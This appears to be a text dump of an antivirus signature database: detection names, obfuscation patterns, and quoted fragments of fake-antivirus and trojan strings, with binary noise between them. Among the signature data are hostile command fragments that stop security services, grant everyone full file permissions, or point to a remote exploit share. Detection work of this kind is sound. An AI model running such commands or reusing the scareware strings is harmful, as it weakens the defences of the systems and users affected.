!#attrmatch_codepatch_EIP_00000012_9090_^ZY[X` !#attrmatch_codepatch_EIP_00000013_9090h !#attrmatch_codepatch_EIP_00000013_9090j !#attrmatch_codepatch_EIP_00000014_9090h !#attrmatch_codepatch_EIP_0000001E_9090V !#PEBMPAT:Deep_Analysis_Disable_APILimit !#PEBMPAT:VirTool:Win32/Obfuscator.LLasDF !#PEBMPPAT:TrojanDropper:Win32/Cutwail.ASj !#attrmatch_codepatch_EIP_00000001_010000 !#PEBMPPAT:TrojanDownloader:Win32/Small.HU2 !#attrmatch_codepatch_EIP_00000002_00000000 !#attrmatch_codepatch_EIP_00000005_01000000]^E !#attrmatch_codepatch_EIP_00000007_00000000 -log1 !#attrmatch_codepatch_EIP_0000000C_01000000 !#attrmatch_codepatch_EIP_0000000C_33F69090 !#attrmatch_codepatch_EIP_0000000C_6631ED90 !#attrmatch_codepatch_EIP_00000000_90909033C0= !#attrmatch_codepatch_EIP_0000000E_8609000000 !#attrmatch_codepatch_EIP_00000007_909090909090 !#PEBMPAT:Deep_Analysis (!#PEBMPAT:Deep_Analysis !#PEBMPAT:InjectorLoop1 (!#PEBMPAT:InjectorLoop1 !#PEBMPAT:Disable_API_LimitU $!#PEBMPAT:Disable_API_LimitU !#lua_codepatch_gepys_trickSQRVW $!#lua_codepatch_gepys_trickSQRVW !#PEBMPAT:VirTool:Win32/KME.3 \"!#PEBMPAT:VirTool:Win32/KME.3 !#PEBMPAT:VirTool:Win32/KME.5 \"!#PEBMPAT:VirTool:Win32/KME.5 !#attrmatch_DTBranch_EIP_0_r1U \"!#attrmatch_DTBranch_EIP_0_r1U !#attrmatch_DTBranch_EIP_BE_r1H !!#attrmatch_DTBranch_EIP_BE_r1H !#VirTool:Win32/Obfuscator.KS!AA !#PEBMPPAT:Trojan:Win32/Anomaly.A1 ?.rsrt ?rsrct ?.ccpt !#attrmatch_codepatch_EIP_00000003_10+ !#attrmatch_codepatch_EIP_00000003_EB !#attrmatch_codepatch_EIP_00000004_EB !#attrmatch_codepatch_EIP_00000006_FF !#attrmatch_codepatch_EIP_00000008_84 =&0@Z !#attrmatch_codepatch_EIP_00000008_EB !#attrmatch_codepatch_EIP_00000009_EB !#attrmatch_codepatch_EIP_0000000A_90 !#attrmatch_codepatch_EIP_0000000B_00U !#attrmatch_codepatch_EIP_0000000E_EBf= !#attrmatch_codepatch_EIP_0000000e_EBV !#attrmatch_codepatch_EIP_00000014_EB !#attrmatch_codepatch_EIP_00000017_7E !#attrmatch_codepatch_EIP_00000017_EB !#attrmatch_codepatch_EIP_00000006_90E9<Zt !#attrmatch_codepatch_EIP_00000006_EB0E 9Actxt !#attrmatch_codepatch_EIP_0000000C_90903 !#attrmatch_codepatch_EIP_00000010_9090f !#attrmatch_codepatch_EIP_00000012_9090U !#attrmatch_codepatch_EIP_00000014_90901 !#attrmatch_codepatch_EIP_00000014_9090M !#attrmatch_codepatch_EIP_00000014_9090U !#attrmatch_codepatch_EIP_00000014_90E9 !#attrmatch_codepatch_EIP_00000015_0100 !#attrmatch_codepatch_EIP_00000015_90903t$ !#attrmatch_codepatch_EIP_00000015_90903|$ !#attrmatch_codepatch_EIP_00000015_9090| !#attrmatch_codepatch_EIP_00000021_90E9 !#PEBMPAT:VirTool:Win32/Obfuscator.LLasDF_ !#attrmatch_codepatch_EIP_00000000_8BC190 !#attrmatch_codepatch_EIP_00000003_909090 hXMVj Y !#PEBMPAT:ReadsDataDirectoryImportTableSize !#attrmatch_codepatch_EIP_00000001_01000000 !#attrmatch_codepatch_EIP_00000002_01000000` !#attrmatch_codepatch_EIP_00000009_89D09090CB !#attrmatch_codepatch_EIP_00000000_B898999919= !#attrmatch_codepatch_EIP_00000001_BD3C7D400090 51984 !#attrmatch_codepatch_EIP_00000013_909090909090 !#attrmatch_codepatch_EIP_00000000_BA010000009090 0!#do_deep_rescan !#PEBMPAT:Disable_SEH_Limit %!#PEBMPAT:Disable_SEH_Limit !#PEBMPAT:Spyeye_decryption_1[ZX #!#PEBMPAT:Spyeye_decryption_1[ZX #!#attrmatch_DTBranch_EIP_0_r1 !#PEBMPAT:VirTool:Win32/KME.6a \"!#PEBMPAT:VirTool:Win32/KME.6a o.< Q !#VirTool:Win32/Obfuscator.AGP3 \"!#VirTool:Win32/Obfuscator.AGP3 !#VirTool:Win32/Obfuscator.AGPUPV \"!#VirTool:Win32/Obfuscator.AGPUPV !#VirTool:Win32/Obfuscator.AGPj \"!#VirTool:Win32/Obfuscator.AGPjY \"!#VirTool:Win32/Obfuscator.AGPj^ !#PEBMPAT:AntiEmuInstCountLimit !!#PEBMPAT:AntiEmuInstCountLimit !#PEBMPAT:Obfuscator_gv_exception !#lua_codepatch_sirefef_lasterror1 !#attrmatch_codepatch_EIP_00000006_EB !#attrmatch_codepatch_EIP_0000000A_EB !#attrmatch_codepatch_EIP_0000000D_EB< !#attrmatch_codepatch_EIP_0000000E_EB !#attrmatch_codepatch_EIP_00000010_7C !#attrmatch_codepatch_EIP_00000010_8E !#attrmatch_codepatch_EIP_00000018_72 !#attrmatch_codepatch_EIP_0000001A_ED !#attrmatch_codepatch_EIP_00000027_75 !#attrmatch_codepatch_EIP_00000004_31C9 !#attrmatch_codepatch_EIP_00000007_9090+ !#attrmatch_codepatch_EIP_00000008_9090 !#attrmatch_codepatch_EIP_00000008_90E9 !#attrmatch_codepatch_EIP_0000000C_EB02d TSERa` !#attrmatch_codepatch_EIP_0000000E_90903 !#attrmatch_codepatch_EIP_0000000E_EBF0 !#attrmatch_codepatch_EIP_00000010_33C0 !#attrmatch_codepatch_EIP_00000010_90E9 !#attrmatch_codepatch_EIP_00000012_9090^[ !#attrmatch_codepatch_EIP_00000013_9090`1 !#attrmatch_codepatch_EIP_00000014_9090PSj !#attrmatch_codepatch_EIP_00000015_9090Kf !#attrmatch_codepatch_EIP_00000015_9090PVR !#attrmatch_codepatch_EIP_00000017_9090` !#attrmatch_codepatch_EIP_00000053_9090h) !#attrmatch_codepatch_EIP_00000012_0090E9_ !#attrmatch_codepatch_EIP_00000001_10000000 !#attrmatch_codepatch_EIP_00000002_01000000S !#attrmatch_codepatch_EIP_00000003_02000000` !#attrmatch_codepatch_EIP_00000007_909090900 !#attrmatch_codepatch_EIP_0000000A_01000000# !#attrmatch_codepatch_EIP_0000000E_01000000 !#attrmatch_codepatch_EIP_00000010_89D39090M !#attrmatch_codepatch_EIP_0000000A_E97A000000 !#attrmatch_codepatch_EIP_0000000D_C60240EBEE !#attrmatch_codepatch_EIP_00000000_C1E81090909090 !#attrmatch_codepatch_EIP_00000000_8B0424909090909090 !#attrmatch_codepatch_EIP_00000000_8B0690909090909090 &!#PEBMPAT:Disable_SEH_Limit !#attrmatch_DTBranch_EIP_12_r1 #!#attrmatch_DTBranch_EIP_12_r1 !#attrmatch_DTBranch_EIP_B8_r1 #!#attrmatch_DTBranch_EIP_B8_r1 !#PEBMPAT:Deep_Analysis_VMM_Grow+ E !!#PEBMPAT:Deep_Analysis_VMM_Grow+ !#PEBMPAT:Deep_Analysis_VMM_Grow E !!#PEBMPAT:Deep_Analysis_VMM_Grow E! !#PEBMPAT:lua_codepatch_ursnif_64QRAPSVW !#attrmatch_codepatch_EIP_0000000A_00UVS !#attrmatch_codepatch_EIP_0000000D_84@ !#attrmatch_codepatch_EIP_00000013_EB !#attrmatch_codepatch_EIP_00000015_F4 !#attrmatch_codepatch_EIP_00000015_F4@ !#attrmatch_codepatch_EIP_00000016_EB !#attrmatch_codepatch_EIP_00000019_00 !#attrmatch_codepatch_EIP_00000019_EB !#attrmatch_codepatch_EIP_0000001A_EBU !#attrmatch_codepatch_EIP_0000001B_84 !#attrmatch_codepatch_EIP_00000003_9090 $Pg n Q<!V] l:O \\ Al6_q 9g<P6 *TMnu <N<+oF2A* M0c K  fauM[ qRCZV By#v' hlp+m \t_&HU K?ct<  Z)h> m0?NSA 2|K12 >xsC> _kc%v .Sq&( 6N^!1 GU'X? .9+.W !Q T  ;ubWc'{ B.^Sj {|!`F ODq?U sjSsE4]8 |`XV%35 Dp. X d Lesbian http://www.lop.com/search/ http://www.lop.com/search/xa Bad Elmo < You must install this software as part of the parent program SwIcertifiEd -Curl %s -MpX%s Casino Online Web Hosting|hosting Penis Enlargement|Penis Enlargement Pill Buy Viagras Adult Education Breast Enhancement Breast Enhancement] !PornDialer.CEN !PornDialer.LOS !Egroupinstantaccess.IA !PornDialer.ISN !Harnig.EF !QQHelper.D \t16990.com bizmd.cn/ad/ADService.asmx $96C930FD-AE94-42D0-B638-6AF8C0930FCE $B9A367EC-4DE5-402A-87CF-7DEE8ADB00E5 CreateServiceA] !Egroupsexdial 0@y.?X@e GBNPx MonitoringTool:Win32/Messagedetect.A $MonitoringTool:Win32/Messagedetect.A !Vundo.AH !Pushbot.DD !Slenfbot.TZ !Slenfbot.UA !Slenfbot.UD !Slenfbot.UE !Slenfbot.UH !Slenfbot.UB !Slenfbot.UC !Slenfbot.UF !Slenfbot.UG !Renos.B &group=adv !Wazabre.A  p@%h !Vundo.DG !Vundo.DH !Vundo.DI -zkL+ !Vundo.DJ !Vundo.DK !Vundo.DL !Vundo.DM !Vundo.DN !Vundo.DO !Vundo.DP !Vundo.DQ !Vundo.DR Killav.C !Vundo.DS !Vundo.FA net stop winss net stop OcHealthMon PSSj&S3 !Vundo.FB !Vundo.FC !Vundo.DT !Vundo.KE !Busky.J aV19D aV19D] !WinSpywareProtect !WinSpywareProtect_@*  42BD-A8CB-7E5 ://dl.%s/get/?pin= /scan.   InternetOpenAa <.php? b/html, .TUNPROTECTEDCONFIRMFORM .TNETATTACKDETECTIONFORM SCAN_IMG TVIRUSDESCFORMa 9func=installrun&id=%s&landing=%s&lang=%s&sub=%s&notstat=1 /pay/%s/%s/ %exportdb.php?func=update&id=%s&pid=%s AMFILES>\\sniffem\\sniffem.exe ?type=%s&pin=%s&lnd=%s http://dl. /get/ /get/a; antispyprotector.com+stat.php?action=%d&affid=%s&pcid=%s&abbr=%s &%s\\AntiSpyProt.exe $%s\\AntiSpyMon.exe $AntiSpy Protector $Policies\\Explorer NoRunat Software\\\\LastSun Ltd.\\\\ -,%s scan for malware and remove found threats 1Illegal activation code! Recheck your input data! UTrojan-PSW.GOPtrojan!sd5 is a malicious application that attempts to steal passwords, <IM-Flooder.ToolzY2K!sd5 is a threat that is capable to cause RThis program is a new and improved approach to spyware identification and removal. RThis program is a new and improved approach to spyware identification and removal.g ?=J6' amX\tN X3F c  ixe#x winspywareprotect ShellExecuteAx Installation of Smart Defender PRO in progress, please wait... %ssmrtdefp.exe abracadbra.jpg ids=%s&guid=%s&serial=%s&ntid=%s&build=%s func=scanfinished&id=%s exportdb.php?func=update&id=%s&pid=%s func=install& puid=%s& iplanding=%s 589;Win32/Rbot.IDN;Backdoor;4;Win32/Rbot.IDN is an IRC controlled backdoor vbase.bak vbase.dat vbase.tmp Update download complete Error occurs while downloading update: Error occurs while downloading update:x ee\td8 .winspywareprotect  .WinSpywareProtect .com/addon/ .com/stat.php .malwarrior .com/addon \\Adsl Software Limited\\WinSpywareProtect \\Adsl Software Limited\\MalWarrior Software\\Adsl Software Limited\\Installer WinSpywareProtect installer WinSpywareProtect installerx Trojan.Folderfu!sd5 is a malicious program that does not infect other files but may represents security Worm.Small!sd5 is a network-aware worm that attempts to replicate across the existing network. Windows Security Center reports that %s is not registered ,%s scan for malware and remove found threats actDeleteVirusExecute% acIESniffer1WBFileDownload C:\\TEMP\\Upgrader3.exe http://www.avpro-labs.com/buy.html http://www.avpro-labs.com/buy.htmlx Ni=%s&g=%s&s=%s&n=%s&b=%s&z=%i&h=%i&o=OK kljhflk73#OO#*U$O(*YO PInstallation in progress, please wait... .com/dp/ pic.jpg Nw=%s&g=%s&x=%s&u=%s&n=%s&p=%i&s=%i&l=OK .net/dp/ .in/dp/ %ssdp.exe MT)V: tj F!d 2+Kv \\SmartDefender PRO.lnk_ \\WinSpywareProtect.lnk_ \\Virus Remover Pro..lnk_ \\Smart Defender PRO.lnk_ \\Antispy Protector 20??.lnk_ \\Computer Defender 20??..lnk_3 \\crucialsoft ltd\\ms antispyware 2009\\msas2009.exe_D \\solt lake software\\pro antispyware 2009\\log\\?????????????????.log_J \\Computer Defender 20??..lnk_3#\\crucialsoft ltd\\ms antispyware 2009\\msas2009.exe_D#\\solt lake software\\pro antispyware 2009\\log\\?????????????????.log_J \\Microsoft\\Internet Explorer\\Quick Launch\\Virus Remover Professional.lnk` \\LastSun Ltd` #\\LastSun Ltd` \\burstwriting` &\\burstwriting` \\AV AntiSpyware` \\Extra Antivirus` \\CrucialSoft Ltd` #\\CrucialSoft Ltd` \\P Antispyware 09` &\\P Antispyware 09` \\SmartDefender PRO` \\winspywareprotect` &\\winspywareprotect` \\Smart Defender PRO` \\Tally software LTD` #\\Tally software LTD` \\solt lake software` #\\solt lake software` \\pro antispyware 20??` \\adsl software limited` #\\adsl software limited` \\Antispy Protector 20??` \\Computer Defender 20??` &\\Computer Defender 20??` \\Programs\\winspywareprotect` \\Virus Remover Professional` \\Virus Remover Professionalc &\\Virus Remover Professionalc Software\\BurstWriting Software\\BurstWritingc Software\\CrucialSoft Ltd Software\\CrucialSoft Ltdc+ Software\\CrucialSoft Ltd\\upd\\\\Started %Software\\CrucialSoft Ltd\\upd\\\\Startedc2 Software\\Classes\\BurstWriting.BurstWriting.1 ,Software\\Classes\\BurstWriting.BurstWriting.1c7 SOFTWARE\\CrucialSoft Ltd\\MS AntiSpyware 2009\\\\lid 1SOFTWARE\\CrucialSoft Ltd\\MS AntiSpyware 2009\\\\lidcI Software\\Solt Lake Software\\Pro Antispyware 2009\\???\\\\Start Counter CSoftware\\Solt Lake Software\\Pro Antispyware 2009\\???\\\\Start CountercL software\\Solt Lake Software\\Pro Antispyware 2009\\???\\config\\\\(default) Fsoftware\\Solt Lake Software\\Pro Antispyware 2009\\???\\config\\\\(default)c_ Software\\Microsoft\\Windows\\CurrentVersion\\uninstall\\Pro Antispyware 2009 ???\\\\DisplayName YSoftware\\Microsoft\\Windows\\CurrentVersion\\uninstall\\Pro Antispyware 2009 ???\\\\DisplayName] !Vundo.FD !Vundo.FE !Vundo.FF !Vundo.FG !Vundo.FH !Vundo.FI !Vundo.FJ /go/?cmp=hstwtch red_green_test red_green_test] !Zlob.ANE if exist \"%s\" goto Repeat Software\\NetProject %s\\zf%s%d.exe _cls%d.bat   /music.php?param= .chl\\CLSID  yahoo.google.] !Vundo.FK !Vundo.FL !Vundo.FM !Vundo.FN !Vundo.FO !Renos.gen!AJ {78B578D7-BCE1-4d83-9CD4-195BC34D8CB3} '{78B578D7-BCE1-4d83-9CD4-195BC34D8CB3} *** STOP: 0x0000008E (0xC00 00005,0X8056EBA4,0xF7DD399C,0x00000000) *** STOP: 0x0000008E (0xC0000005,0X8056EBA4,0xF7DD399C,0x00000000)] !Vundo.FP !Slenfbot.UI !Slenfbot.UJ !Vundo.FQ !Vundo.FT !Vundo.FV !Vundo.FS !Vundo.FR !Pushbot.DE !Slenfbot.UK !Slenfbot.UL !Vundo.FW !Slenfbot.UM !Vundo.FX !Vundo.FY !Vundo.FZ !Vundo.FAA !Vundo.FAB !Zlob.AMQ GetSystemDefaultLCID #785ujthgfrw34676utyj !Bagle.SE !Renos.FB !Vundo.FAC !Vundo.FU !Conhook.J !Conhook!dam MonitoringTool:Win32/RevealerKeylogger &MonitoringTool:Win32/RevealerKeylogger ,Revealer Keylogger Pro _LowLevelKeyboardProc@ _LowLevelKeyboardProc@g BB\")J CompanyNamewww.revealerkeylogger.com FileDescriptionRevealer Keylogger Revealer is currently monitoring, are you sure you want to quit 3www.revealerkeylogger.com ProductNameRevealer Keylogger 3Revealer Keylogger report rkfree.exe  \\rvlkl] #\\rvlkl] !Matcash.gen!H !Vundo.FAD !Lowzones.GU !Small.AABA !Slenfbot.UN !Small.HC !Small.HD cmd /c cacls %s /e /p everyone:f killrdog killerdog killdog killrdogkillerdogkilldog %ProgramFiles%\\Outlook Express\\msoeres2.dll WinExec] !Small.HH d3bYF. fCPmc nA%0A l3\\`\\ bsZjd 7Zdv$W V7y;O fn*=- 4\"5bR 2DE[d l)|z2 5sHYUPG ,\\\\ ; ip%xl {k'z) gJ9I ( #[]M$ cbQpD W^?q8 \"Q\"][ k6L7z yp7Hn #r*Ik z_W-- o(H4F HujnJ- M8Hr\t p'O#}\t  7Kn) F1tt| ^f2ea HJZzp V}b4A sCyb# wwaf5R4 R:sf; OYqMtA \t W YR 04Wt1 _uCq]a #Q;YD !CxZd} !~KnF W@T$ \\A_GK XdY\"HZ J !#SCPT:JS/Obfuscator.LongNames.B J!!#SCPT:VirTool:SWF/Obfuscator.F.2 J#!#SCPT:JS/Obfuscator.Split.length.A \"le\") #!#SCPT:JS/Obfuscator.SplitReverse.A J#!#SCPT:JS/Obfuscator.SplitReverse.A .split('').reverse().pop() J$!#SCPT:JS/Obfuscator.DecimalString.A 0-9\") &!#BRUTE:Exploit:Python/CVE-2017-0143.6 J&!#BRUTE:Exploit:Python/CVE-2017-0143.6 got good ECHO responses '!#SCRIPT:Exploit:Win32/CVE-2014-4114-ip J'!#SCRIPT:Exploit:Win32/CVE-2014-4114-ip \\\\37.143.15.171\\update J,!#SCPT:JS/Obfuscator.Split.InnerAssignment.A ; return '\",\" J-!#SCPT:JS/Obfuscator.Redundancy.EmptyQuotes.A +\"\"+(\" 1!#SCPT:JS/Obfuscator.BASE64EncScript.saveToFile.A J1!#SCPT:JS/Obfuscator.BASE64EncScript.saveToFile.A c2F2ZVRvRmls !#BRUTE:NSISInetc /MainSection \\nsWeb.dll \\nsWeb.dllhttp:// !#TELPER:FileTourInno.A dll:files:license.key itd_downloadfile )dll:files:license.keyitd_downloadfile \"%\"+\"T $\"%\"+\"T !#SCPT:JS/Obfuscator.Spaced.D }       #}        }      }     #\"G\" +  , \"http\"  , \"http\"  () +  \"GE\" +  #\"GE\" +  , \"htt\"  , \"htt\" #\"GE\" , \"htt\" +   , \"htt\" +  !#ALF:Trojan:Python/Banker.VC2 lambda \"lambda  [1]^  [0]% !#SCPT:JS/BASE64.Compression.U QwBvAG0AcAByAGUAcwBzAGkAbwBuAC4A \"QwBvAG0AcAByAGUAcwBzAGkAbwBuAC4A bQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUA \"bQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUA bwBtAHAAcgBlAHMAcwBpAG8AbgAuAEQA \"bwBtAHAAcgBlAHMAcwBpAG8AbgAuAEQA !#SCPT:JS/Obfuscator.HexMixed.F Dir%5B%22open%22%5D%28%22GET%22 !Dir%5B%22open%22%5D%28%22GET%22 K !#Trojan:PowerShell/Reflection.A System.Reflection.AssemblyName  System.Reflection.AssemblyName K#!#SCPT:JS/Obfuscator.Split.String.A St\"+\"r K#!#SCPT:JS/Obfuscator.Split.length.A \"ngt\" %!#SCPT:PossiblyClean:AdminTools.URL.A K%!#SCPT:PossiblyClean:AdminTools.URL.A admintools.3utilities.com K'!#SCPT:JS/Obfuscator.Capslock.WScript.A PT.sH Pt.SH Pt.Sh Pt.sH Pt.sh RIPt. RIpT. RIpt. RiPT. RiPt. RipT. Ript. pT.SH pT.Sh pT.sH pT.sh pt.sH rIPT. rIPt. rIpT. rIpt. riPT. riPt. ripT. +!#BRUTE:Python/Leivion.C.CreateRemoteThread K+!#BRUTE:Python/Leivion.C.CreateRemoteThread +!#BRUTE:Python/Leivion.C.WriteProcessMemory K+!#BRUTE:Python/Leivion.C.WriteProcessMemory K,!#SCPT:JS/Obfuscator.Split.InnerAssignment.A +='=\" ] = '= ]='=\" /!#SCPT:JS/Obfuscator.Reversed.ExecutionPolicy.A K/!#SCPT:JS/Obfuscator.Reversed.ExecutionPolicy.A yciloPnoitucexE !#SCRIPT:FakeCert!AT !#SCRIPT:FakeCert!Ce !#SCRIPT:FakeCert!MS !#SCRIPT:FakeCert!OT !#SCRIPT:FakeCert!VS !#SCPT:s_codescript.A You may add or alter any code config here. ,You may add or alter any code config here. $\"G\" +  , \"http:\"  , \"http:\" Bad offset for JScript BYTE read. #Bad offset for JScript BYTE read. A-Za-z_  !#Exploit:Win32/CVE-2015-0097.A1 L !#Exploit:Win32/CVE-2015-0097.A1 MSScriptControl.ScriptControl.1 !MSScriptControl.ScriptControl.1  !#SCPT:TeslaCryptEncryptedFile.1 L !#SCPT:TeslaCryptEncryptedFile.1 \"!#SCPT:JS/Obfuscator.LongVarName.C L\"!#SCPT:JS/Obfuscator.LongVarName.C ()[0] +  #!#//SCPT:DigitalSignature.COMODO.CA L#!#//SCPT:DigitalSignature.COMODO.CA COMODO RSA Code Signing CA L#!#SCPT:JS/Obfuscator.Split.concat.A 'c'+\"o L$!#SCPT:JS/Obfuscator.DecimalString.A \")] =  L,!#SCPT:JS/Obfuscator.Split.InnerAssignment.A : 'var  '}[' 000273626a7702 010372636b7603 02007160687500 03017061697401 040677666e7306 050776676f7207 060475646c7104 070574656d7005 080a7b6a627f0a 090b7a6b637e0b 0a087968607d08 0b097869617c09 0c0e7f6e667b0e 0d0f7e6f677a0f 0e0c7d6c64790c 0f0d7c6d65780d 101263727a6712 111362737b6613 12106170786510 13116071796411 141667767e6316 151766777f6217 161465747c6114 171564757d6015 181a6b7a726f1a 191b6a7b736e1b 1a186978706d18 1b196879716c19 1c1e6f7e766b1e 1d1f6e7f776a1f 1e1c6d7c74691c 1f1d6c7d75681d 303243525a4732 313342535b4633 32304150584530 33314051594431 343647565e4336 353746575f4237 363445545c4134 373544555d4035 383a4b5a524f3a 393b4a5b534e3b 3a384958504d38 3b394859514c39 3c3e4f5e564b3e 3d3f4e5f574a3f 3e3c4d5c54493c 3f3d4c5d55483d 404233222a3742 414332232b3643 42403120283540 43413021293441 444637262e3346 454736272f3247 464435242c3144 474534252d3045 484a3b2a223f4a 494b3a2b233e4b 4a483928203d48 4b493829213c49 4c4e3f2e263b4e 4d4f3e2f273a4f 4e4c3d2c24394c 4f4d3c2d25384d 505223323a2752 515322333b2653 52502130382550 53512031392451 545627363e2356 555726373f2257 565425343c2154 575524353d2055 585a2b3a322f5a 595b2a3b332e5b 5a582938302d58 5b592839312c59 5c5e2f3e362b5e 5d5f2e3f372a5f 5e5c2d3c34295c 5f5d2c3d35285d 606213020a1762 616312030b1663 62601100081560 636110010 \\appdata\\locallow\\{........%-....%-....%-....%-............} =\\appdata\\locallow\\{........%-....%-....%-....%-............}  Lua:BedepFileName.A cryptbase.dll Lua:BedepFileName.B api-ms- Lua:BedepFileName.C \\programdata\\{9a88e103-a20a-4ea5-8636-c73b709a5bf8} 4\\programdata\\{9a88e103-a20a-4ea5-8636-c73b709a5bf8} \\programdata\\{f66cb4ee-546f-4d54-9332-216de189aab0} 4\\programdata\\{f66cb4ee-546f-4d54-9332-216de189aab0} \\programdata\\{698e0848-6d29-4305-80dc-e8d609260ce2} 4\\programdata\\{698e0848-6d29-4305-80dc-e8d609260ce2} \\programdata\\{49a0bac7-3326-4433-9373-4aa8793abb5c} 4\\programdata\\{49a0bac7-3326-4433-9373-4aa8793abb5c} \\programdata\\{effc3e07-aed7-4c3c-992f-2c5eb14af4a8} 4\\programdata\\{effc3e07-aed7-4c3c-992f-2c5eb14af4a8} \\programdata\\{d9e629dc-cb1c-4a97-9900-81922b4effd4} 4\\programdata\\{d9e629dc-cb1c-4a97-9900-81922b4effd4} \\programdata\\{ca2facf7-9029-4a21-892b-e7f60b39ff1a} 4\\programdata\\{ca2facf7-9029-4a21-892b-e7f60b39ff1a} \\programdata\\{4ba6ab29-2eab-46fc-8b33-a767b5dbb0f3} 4\\programdata\\{4ba6ab29-2eab-46fc-8b33-a767b5dbb0f3} \\application data\\{4d03d701-c800-49f0-8590-127eff2877ff} 9\\application data\\{4d03d701-c800-49f0-8590-127eff2877ff} \\programdata\\{9b82496a-c211-4fcf-84b5-e2b3a1d99f8f} 4\\programdata\\{9b82496a-c211-4fcf-84b5-e2b3a1d99f8f} \\programdata\\{d93bcbeb-07b6-4fa0-86bf-5552dfc4404c} 4\\programdata\\{d93bcbeb-07b6-4fa0-86bf-5552dfc4404c} \\programdata\\{65ee3202-cce0-4ec4-9369-0a126e1da09c} 4\\programdata\\{65ee3202-cce0-4ec4-9369-0a126e1da09c} \\programdata\\{b7a719fb-068f-41ad-8261-3569c22edec2} 4\\programdata\\{b7a719fb-068f-41ad-8261-3569c22edec2} \\programdata\\{18067bd7-3c56-4e2e-8627-51ee9adc5a30} 4\\programdata\\{18067bd7-3c56-4e2e-8627-51ee9adc5a30} \\programdata\\{1016e27d-c6ce-4668-9211-5ec18caadbf8} 4\\programdata\\{1016e27d-c6ce-4668-9211-5ec18caadbf8} \\programdata\\{39567fd8-2a86-4514-8b0a-406c6e60a8bb} 4\\programdata\\{39567fd8-2a86-4514-8b0a-406c6e60a8bb} \\programdata\\{9925001e-4d97-434f-8579-2e06af34678f} 4\\programdata\\{9925001e-4d97-434f-8579-2e06af34678f} \\programdata\\{0bf6ab17-0058-462c-8274-0655b925c812} 4\\programdata\\{0bf6ab17-0058-462c-8274-0655b925c812} \\programdata\\{a4682c3b-ab83-49b3-8eb5-b44e3f044b59} 4\\programdata\\{a4682c3b-ab83-49b3-8eb5-b44e3f044b59} \\programdata\\{0a41da87-d172-4c26-9422-d2c4f5549861} 4\\programdata\\{0a41da87-d172-4c26-9422-d2c4f5549861} \\programdata\\{2cd18189-70a0-4ae9-899e-05bad272e52e} 4\\programdata\\{2cd18189-70a0-4ae9-899e-05bad272e52e} \\programdata\\{33896b39-667b-48e5-8c29-b02174b09d04} 4\\programdata\\{33896b39-667b-48e5-8c29-b02174b09d04} \\programdata\\{2f752dac-f812-4497-9e91-d8701a4745cb} 4\\programdata\\{2f752dac-f812-4497-9e91-d8701a4745cb} \\programdata\\{9cad18b2-ff9b-4cca-8ee0-a4cda3ad5f51} 4\\programdata\\{9cad18b2-ff9b-4cca-8ee0-a4cda3ad5f51} Lua:BedepFileName.D \\programdata\\{........%-....%-....%-....%-............}\\$ :\\programdata\\{........%-....%-....%-....%-............}\\$ Lua:BedepFileName.E spinstall.exewdscore.dll Lua:BedepFileName.F !#Lua:InterestingRARFlagsEx   Lua:RarHasFileNameWithPassword Lua:RarHasEncryptedFile Lua:RarHasStoredFileWithExeExtension %Lua:RarHasStoredFileWithExeExtension RPF:AnyFileHasIOAVURL Lua:RarHasSingleStoredFileWithExeExtension +Lua:RarHasSingleStoredFileWithExeExtension //Lua:GIOAVTopLevelRarHasSingleStoredFileWithExeExtension ://Lua:GIOAVTopLevelRarHasSingleStoredFileWithExeExtension //Lua:GIOAVTopLevelRarHasSingleFileWithExeExtension 4//Lua:GIOAVTopLevelRarHasSingleFileWithExeExtension Lua:RarHasSingleFileWithExeExtension %Lua:RarHasSingleFileWithExeExtension   Lua:RarHasCommentBlock Lua:RarHasStoredFile [Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd] ![Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd] [Tt][Oo] [Oo][Pp][Ee][Nn] to open enter 1234 1 2 3 4 Lua:RarHasMizenotaPWFile Lua:RarHasEncryptedFileWithExeExtension (Lua:RarHasEncryptedFileWithExeExtension UEFIEnvVar ScanAllUefiEnvVars IsUefiEnvVarScanSupported IsUefiEnvVarScanExcluded Infrastructure_ScanUefiEnvironmentVariables ,Infrastructure_ScanUefiEnvironmentVariables EnumerateFirmwareEnvironmentVariables &EnumerateFirmwareEnvironmentVariables {8be4df61-93ca-11d2-aa0d-00e098302288} '{8be4df61-93ca-11d2-aa0d-00e098302288} roodkcaBdrauGifE {8be4df61-93ca-11d2-aa0d-00e098032b8c} '{8be4df61-93ca-11d2-aa0d-00e098032b8c} EfiGuardBackdoor setup {ec87d643-eba4-4bb5-a1e5-3f3e36b20da9} '{ec87d643-eba4-4bb5-a1e5-3f3e36b20da9} stddefaults {4599d26f-1a11-49b8-b91f-858745cff824} '{4599d26f-1a11-49b8-b91f-858745cff824} backdoor \tbackdoor loaded {26153152-363d-1670-8d94-47a9fa8c4c16} '{26153152-363d-1670-8d94-47a9fa8c4c16} backdoordataaddress parseUefiEnvVarSig reportUefiEnvVar VarName VarGuid  VarAttributes VarFullValueSize VarValue \tVarValue uefienvvar %s:%s ReportLowfiEx GetFirmwareEnvironmentVariable MpNonExistentUefiVarName {0718a447-42c8-4591-9c76-b55112ef2430} '{0718a447-42c8-4591-9c76-b55112ef2430} hklm\\Hardware\\Description\\System\\Bios &hklm\\Hardware\\Description\\System\\Bios BIOSVendor BaseBoardManufacturer SystemManufacturer !#Lua:SuspFileDropByCleanStubs !#Lua:SuspFileDropByCleanStubsObMpAttributes cscript.exe|wscript.exe|mshta.exe|cmd.exe|powershell.exe|pwsh.exe|console.exe|bash.exe|dllhost.exe|rundll32.exe|regsvr32.exe|wmiprvse.exe Lua:StubApp!  Lua:StubAppDropped! Lua:StubAppDroppedExt! obj|etl|log|pdb|edb|mdb|sdb|pdf|tmf|emf|wmf|spl|off|bak|m4a|mp4|mp3|wav|bmp|ico|kgx|idx|.md|tml|tar|ent|iff|ttf|tif|pak|aml|yml|mof|man|che|ore|new BM_PeFileDropByStubApp BM_LnkFileDropByStubApp BM_ScriptFileDropByStubApp \\bin\\debug ladybug.-%.ghuser \\bin\\release  \\windows\\ccm\\systemtemp \\smssig \\sccmcontentlib\\ \\gac\\gac_msil\\ \\device\\vhdharddisk \\bin\\azure.+  microsoft%.microsoftedge.-default\\cachestorage\\files 5microsoft%.microsoftedge.-default\\cachestorage\\files moduleanalysiscache powershell_analysiscacheentry windowsdefenderatponboardingscript.cmd 'windowsdefenderatponboardingscript.cmd retainip-log.txt min%[.%]%.js  %.xml$ %.json$ %.yaml$ %.md$ Lua:CleanStubsExcludePath 